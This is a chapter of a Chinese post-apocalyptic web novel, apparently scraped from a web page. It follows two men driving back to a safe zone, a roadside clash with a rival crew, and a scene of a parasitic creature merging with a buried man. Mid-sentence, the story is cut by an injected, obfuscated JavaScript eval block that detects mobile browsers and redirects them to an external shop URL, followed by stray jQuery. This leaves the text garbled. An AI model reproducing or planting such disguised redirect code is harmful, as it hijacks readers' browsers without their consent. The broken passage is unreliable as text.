郁柏歆开车，返程的路出乎意料地没遇到什么困难。
郁柏歆将这归结为气场。
最大的困难反而是在快回到集中区范围时，偶遇的另一伙禁地区流浪者。
看见这辆熟悉的皮卡，原本并不准备的过来的包浆越野瞬间就改了航道，像个着了火的炮仗，气势汹汹的强行并线。
郁柏歆早就注意到了对方的动作，但他既没有加速也没有躲，只用质问的目光瞥向身边挑眉的付涔。
“什么东西过来了！是不是抢劫！？”
无视后座的疯狂提醒，两人四目相对，一个比一个冷静，最后是付涔把手往窗边一搭，漫不经心地开口：“有点小摩擦。”
郁柏歆一个字都没信：“详细说说。”
付涔啧了一声，可他还没来得及开口，那辆咆哮的越野就已经闯入视野。并行的瞬间，对面糊满黄沙的车窗打开，露出一张熟悉的欠揍脸。
“操，付一！”隔着郁柏歆，对面人直接锁定了付涔，张嘴就是挑衅：“这趟出来什么收获啊？不会又是跟在别人后面阴人捡漏吧？”
听着像这人能干出来的。
郁柏歆面无表情地担任司机，觉得吵但丝毫不怀疑他的话。
很明显，付涔本人也非常有自觉。
“是啊。”他靠着椅背懒洋洋笑：“但收获颇丰，总比一些人来一趟提着空袋子回去的强。”
这番话可谓火上浇油，那人不知道想到了些什么，脸都快紫了。郁柏歆很怀疑对面人现在非常想把他们一锅炸了。
如果他自己现在不在车上，郁柏歆其实非常不介意他炸一个试试。
“你踏马的以为是因为谁？！”最终那人还是没干这么丧心病狂的事，只咬牙切齿：“等着吧，你这种混蛋不可能有好下场！”
“我觉得呢……总体来说，我的人品应该比你们强一点，所以遭报应也在你们之后。”付涔叹了口气，随后似笑非笑：“对了，这几天你们在市场那边干什么呢？鬼鬼祟祟的。某位大老板是有什么大手笔？”
哪来的脸，关你屁事。
对方一口气上不来，非常想啐他一脸，但扭头撞上开车生的面孔看过来的那一眼，莫名其妙又把到了嗓子眼的脏话咽了回去。
莫名像在学校时刚想干坏事结果回头撞上学校校长的恐惧感。
下意识把头扭到一边装作什么都没发生，但很快，他就反应过来不对。
操了，这人谁啊？我怕他干什么？
重新扭头看过去，他打量着这个长得挺帅还莫名有点眼熟的生面孔：“你又是谁？姓付的找的帮手？呵，事先提醒，趁早远离你身边这人为好。不然就算不被他弄死，也迟早被他的仇家弄死。”
“感谢提醒。”
郁柏歆眼都没抬一下：“我已经感受到了。”
“啧，怎么说话呢？”付涔没好气：“你到底和谁一伙的。”
郁柏歆拒绝回答这个问题，恰在此时，安全区熟悉的铁丝网和大门映入眼帘。
“到了。”他抬了下下巴，然后看向窗外：“你们还准备跟多久？”
说实话，他这一眼没什么想表达的，但对方只感觉一种无名火心头涌起：踏马的，这看不起人的眼神简直和付一一个妈生的。
这种不是人的玩意世界上怎么会有两个，还凑在一起了！？
就在他气得想扔炸药同归于尽算了时，被身边人淡声制止：“行了，木头。别节外生枝。”
郁柏歆眯了下眼，单手扶着方向盘看了过去。
对方从始至终都没投来目光，因此他只能看清对方是一个半边脸缠着绷带的人，除此之外看不出别的细节。
那人的地位明显很高，听到他的话，木头不知道想起什么扯了下唇，随后朝付涔露出挑衅：“呵，狂又怎么样，希望过几天你还笑得出来。”
说完他不再浪费时间，关上车窗后，车辆猛然加速，拉开距离。
看着越野车远去的影子，郁柏歆注意到付涔摆弄着从运输舰上顺出来的打火机，没多少反应，但还是问：“开车那人是谁？”
“姓杜家的走狗，听说挺能打的。”他倒是没有掩饰的意思：“那人是这片集中区的地头蛇，和当地仅剩的军部驻守和名义上的政府，有点关系。”
“军部驻守？”郁柏歆手指点了下方向盘：“谁？”
听到这话，付涔不知道是觉得有意思还是怎么，忽然来了点兴致。
“这种小人物郁长官应该不认得吧？”他看着郁柏歆，多少能想象出这人作为总指挥时的行事风格。
“能被派到这鬼地方基本就是军部内的弃子。”他说：“这种小人物档案都不一定被塞在哪个角落。”
“不一定。”郁柏歆注视着前方，忽然开口：“我忽然想起了一个人，他确实是因为一些原因被撤职流放。”
他说出一个名字：“黄淳。”
黄淳这个名字付涔第一次听相当陌生，大概率是他离开后提拔起来又因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17734026|209016||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
各种原因被一竿子支到核心之外，所以也没太在意。
但现在见郁柏歆居然知道，他终于有了点兴趣：“怎么，很有名？”
“还可以。”郁柏歆踩下刹车，在刺耳的滋啦声中，靠着椅背：“不过比起他，我更好奇另一件事。”
“你是说那些人在谋划事？”付涔扯了下唇，感慨道：“有这种蠢材手下，我觉得他们也很难干成什么大事啊。”
想起某人那张写满小人得志的嘴脸，郁柏歆无言以对。
“他不是说过几天？”
付涔看着前方检查的人群，无声弯了弯唇：“到时候看看吧。”
……
废墟下，一只手猛然钻出，掀开压在上方的巨石。细密的虫群围绕在碎石的阴影下，迟迟未敢踏出。
那只青紫色的手就这么高举了很久才终于有了动作。
一小块镜子碎片发出咔嚓一声，镜鬼透明孱弱的身体啪叽落在地上，发出迷茫的悲鸣。
然后，它听到了中枢的呼唤。
同类的声音让它焦躁的迷茫一寸寸减弱，然后它缓缓抬起头，看到那只手上不知何时裂开一条贯穿的缝隙。
它知道该做什么了。
失去伴生的镜鬼跌跌撞撞地爬了过去，它拖着即将死去的身体靠近那黑红色的缝隙，到了最后甚至在那些飞虫的托举下靠近那道裂隙。
裂纹中布满了触丝，它们很轻地颤动着，随着镜鬼的靠近缓缓伸出，直到将它卷入闭合。
这是一场进食，可全程没有任何挣扎。
将死的异端毫无犹豫地将自己送入另一只口中，像一场无声的献祭。
而它这么做的理由只是因为两个字——同类。
联盟实验室一直试图解读异端，但从这些怪异的入侵者身上，他们只看到了难以理解的群体意识。
这种意识非常怪异，不是团结，无私或者其他什么类似的词，反而更多地归为本能。
世界被这些怪物粗暴地归为了彻头彻尾的两类，对同类绝对的包容，以及对异类本能的驱逐和杀戮。
杀死同类会让它们变得无比痛苦……就像现在。
埋在废墟下的人终于动了。
他被身体里的力量驱使着，强忍着疼痛硬生生从碎石中爬了出来，鲜血淋漓。仰倒在地时，他将剧痛的手掌按在胸口，脸上早已满是泪痕。
可此时没人知道，连他自己都无法分辨出流泪的究竟是自己，还是身体里共生的另一面。